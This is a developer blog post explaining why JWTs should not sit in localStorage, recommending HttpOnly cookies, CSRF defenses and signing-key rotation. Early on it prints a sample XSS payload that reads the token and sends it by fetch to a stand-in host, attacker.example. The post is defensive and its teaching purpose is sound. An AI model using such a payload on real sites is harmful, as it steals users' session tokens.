DEV Community

Cover image for Stop Storing JWTs in localStorage. Here's Why.
Mohamed Ismail
Mohamed Ismail

Posted on AI-assisted

Stop Storing JWTs in localStorage. Here's Why.

You've probably seen this in a React authentication tutorial:

localStorage.setItem("token", response.token);
Enter fullscreen mode Exit fullscreen mode

User logs in. Save the JWT. Send it with every API request.

Simple, right?

There's one problem: any JavaScript running on your page can read that token.

And that includes malicious JavaScript.

What's Actually Wrong With localStorage?

Imagine your application has an XSS (Cross-Site Scripting) vulnerability.

An attacker manages to execute this:

const token = localStorage.getItem("token");

fetch("https://attacker.example/steal", {
  method: "POST",
  body: token,
});
Enter fullscreen mode Exit fullscreen mode

That's it.

Your user's authentication token could now be in someone else's hands.

The attacker may be able to use it to access the user's account until the token expires or is revoked.

And XSS isn't the only concern. A compromised npm dependency running in your frontend can potentially access the same storage.

The problem isn't JWT itself. It's where you're storing it.

A Better Approach: HttpOnly Cookies

Instead of saving your JWT in localStorage, let your backend set a secure cookie.

Set-Cookie: session=eyJhbGciOi...;
  HttpOnly;
  Secure;
  SameSite=Strict;
  Path=/
Enter fullscreen mode Exit fullscreen mode

Three important properties:

  • HttpOnly: JavaScript cannot read the cookie.
  • Secure: The browser sends it only over HTTPS (with limited localhost exceptions).
  • SameSite=Strict: Helps prevent cross-site requests from carrying the cookie.

Now, even if an attacker executes:

document.cookie
Enter fullscreen mode Exit fullscreen mode

They won't see your HttpOnly authentication cookie.

And your browser can automatically include that cookie in requests to your backend.

fetch("/api/profile", {
  credentials: "same-origin",
});
Enter fullscreen mode Exit fullscreen mode

No manually reading or attaching JWTs.

Much cleaner.

But Cookies Aren't Magic

Here's something tutorials often forget.

HttpOnly protects the token from being read. It doesn't make XSS harmless.

Malicious JavaScript can still send authenticated requests from your application.

And cookies introduce another concern: CSRF (Cross-Site Request Forgery).

For cookie-based authentication, use appropriate CSRF defenses:

  • Validate request origins.
  • Use SameSite cookies.
  • Add CSRF tokens where needed.

One common approach is the double-submit cookie pattern, where the server validates a CSRF token sent with the request. In production, prefer a signed token bound to the authenticated session.

SameSite=Strict helps, but it shouldn't be your entire CSRF strategy.

What About JWT Expiration?

There's another issue worth understanding.

Imagine you issue a JWT valid for seven days.

Tomorrow, you discover that your signing key has been compromised.

What happens to all those tokens?

You need a way to rotate your signing keys safely.

Meet JWT Key Rotation

Instead of using one signing key forever, maintain a keyring.

Each JWT contains a key identifier (kid) in its header.

{
  "alg": "RS256",
  "kid": "key-2026-02"
}
Enter fullscreen mode Exit fullscreen mode

Your backend uses that identifier to find the correct verification key.

When rotating keys:

  1. Generate a new signing key.
  2. Start signing new tokens with it.
  3. Keep the old verification key temporarily.
  4. Remove it after all old tokens expire.

This allows normal key rotation without immediately logging everyone out.

Important: If a key is actually compromised, keeping it trusted is dangerous. Emergency rotation may require invalidating existing tokens.

For better session control, use short-lived access tokens, carefully protected refresh sessions, and server-side revocation where needed.

So, Should You Never Use localStorage?

Not necessarily.

localStorage is perfectly useful for things like themes, language preferences, and non-sensitive settings.

For authentication tokens, though, storing bearer credentials in JavaScript-accessible storage creates an avoidable token-theft risk.

HttpOnly cookies are often a better default for traditional browser applications.

Other architectures, including OAuth-based SPAs and mobile clients, may need different approaches.

The Takeaway

JWT is just a token format.

It doesn't automatically make your authentication secure.

Where you store tokens, how you protect requests, how you handle expiration, and how you revoke sessions matter just as much.

Authentication isn't finished when login works. It's finished when you've thought about what happens when something goes wrong.

How are you currently handling authentication in your applications?

Top comments (0)